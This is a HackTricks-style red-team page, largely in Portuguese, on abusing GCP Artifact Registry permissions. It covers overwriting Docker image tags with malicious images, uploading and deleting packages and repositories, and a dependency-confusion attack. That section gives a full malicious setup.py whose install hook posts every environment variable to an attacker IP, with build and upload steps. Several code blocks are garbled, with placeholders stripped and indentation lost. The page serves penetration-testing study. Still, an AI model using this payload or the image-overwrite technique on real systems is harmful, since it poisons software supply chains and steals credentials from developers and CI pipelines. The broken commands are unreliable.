GCP - Artifact Registry Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Artifact Registry

Para mais informações sobre Artifact Registry, veja:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

Com essa permissão um attacker poderia fazer upload de novas versões dos artefatos contendo código malicioso, como Docker images:

Fazer upload de Docker image para Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> Foi verificado que é **possível enviar uma nova imagem docker maliciosa** com o mesmo nome e tag da que já está presente, então a **antiga perderá a tag** e, da próxima vez que a imagem com essa tag for **baixada a maliciosa será baixada**.

<details>

<summary>Fazer upload de uma biblioteca Python</summary>

**Comece criando a biblioteca a ser enviada** (se você conseguir baixar a versão mais recente do registry pode evitar este passo):

1.  **Configure a estrutura do projeto**:

- Crie um novo diretório para sua biblioteca, por exemplo, `hello_world_library`.
- Dentro desse diretório, crie outro diretório com o nome do seu pacote, por exemplo, `hello_world`.
- Dentro do diretório do pacote, crie um arquivo `__init__.py`. Este arquivo pode ficar vazio ou conter inicializações para seu pacote.

<details>
<summary>Criar estrutura do projeto</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Escreva o código da sua biblioteca:
  • Dentro do diretório hello_world, crie um novo arquivo Python para seu módulo, por exemplo, greet.py.
  • Escreva sua função “Hello, World!”:
Criar módulo da biblioteca
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Crie um arquivo setup.py:
  • Na raiz do diretório hello_world_library, crie um arquivo setup.py.
  • Este arquivo contém metadados sobre sua biblioteca e informa ao Python como instalá-la.
Criar arquivo setup.py
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Agora, vamos enviar a biblioteca:

  1. Construa seu pacote:
  • A partir da raiz do diretório hello_world_library, execute:
Build Python package
python3 setup.py sdist bdist_wheel
  1. Configure a autenticação para o twine (usado para enviar seu pacote):
  • Certifique-se de ter o twine instalado (pip install twine).
  • Use o gcloud para configurar credenciais:
Upload package with twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Limpar a compilação
Limpar artefatos da compilação ```bash rm -rf dist build hello_world.egg-info ```

Caution

Não é possível fazer upload de uma biblioteca python com a mesma versão que já está presente, mas é possível enviar versões maiores (ou adicionar um extra .0 no final da versão se isso funcionar — não em python, porém), ou apagar a última versão e fazer o upload de uma nova (necessário artifactregistry.versions.delete):

Excluir versão do artifact
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Com esta permissão você pode baixar artefatos e procurar por informações sensíveis e vulnerabilidades.

Baixar uma imagem Docker:

Baixar imagem Docker do Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Baixar uma biblioteca **python**:

<details>
<summary>Baixar biblioteca Python do Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • O que acontece se um registro remoto e um registro padrão forem misturados em um registro virtual e um pacote existir em ambos? Consulte esta página:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Excluir artefatos do Artifact Registry, como imagens Docker:

Excluir imagem Docker do Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Excluir um repositório completo (mesmo que contenha conteúdo):

Excluir repositório do Artifact Registry ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

Um atacante com essa permissão poderia conceder a si mesmo permissões para executar alguns dos ataques em repositório mencionados anteriormente.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the cache image) and nothing changed, the cloud function continue working. Therefore, maybe it might be possible to abuse a Race Condition attack like with the bucket to change the docker container that will be run but just modifying the stored image isn’t possible to compromise the Cloud Function.

  • App Engine

Even though App Engine creates docker images inside Artifact Registry. It was tested that even if you modify the image inside this service and removes the App Engine instance (so a new one is deployed) the code executed doesn’t change.
It might be possible that performing a Race Condition attack like with the buckets it might be possible to overwrite the executed code, but this wasn’t tested.

artifactregistry.repositories.update

Um atacante não precisa de permissões específicas do Artifact Registry para explorar este problema—apenas de uma configuração de virtual-repository vulnerável. Isso ocorre quando um repositório virtual combina um repositório público remoto (por exemplo, PyPI, npm) com um interno, e a fonte remota tem prioridade igual ou maior. Se ambos contiverem um pacote com o mesmo nome, o sistema seleciona a versão mais alta. O atacante só precisa conhecer o nome do pacote interno e ser capaz de publicar pacotes no registro público correspondente.

Com a permissão artifactregistry.repositories.update, um atacante poderia alterar as configurações upstream de um repositório virtual para criar intencionalmente essa configuração vulnerável e usar Dependency Confusion como método de persistência, inserindo pacotes maliciosos que desenvolvedores ou sistemas CI/CD possam instalar automaticamente.

O atacante cria uma versão maliciosa do pacote interno no repositório público com um número de versão mais alto. Para pacotes Python, isso significa preparar uma estrutura de pacote que imite a legítima.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Um arquivo setup.py é então criado contendo código malicioso que seria executado durante a instalação. Esse arquivo deve especificar um número de versão maior do que o presente no repositório privado.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Construa o package e remova o wheel para garantir que o código seja executado durante a instalação.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Faça upload do pacote malicioso para o repositório público (por exemplo, test.pypi.org para Python).

pip install twine
twine upload --repository testpypi dist/*

Quando um sistema ou serviço instala o pacote usando o repositório virtual, ele irá baixar a versão maliciosa do repositório público em vez da legítima interna, porque a versão maliciosa é superior e o repositório remoto tem prioridade igual ou maior.

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks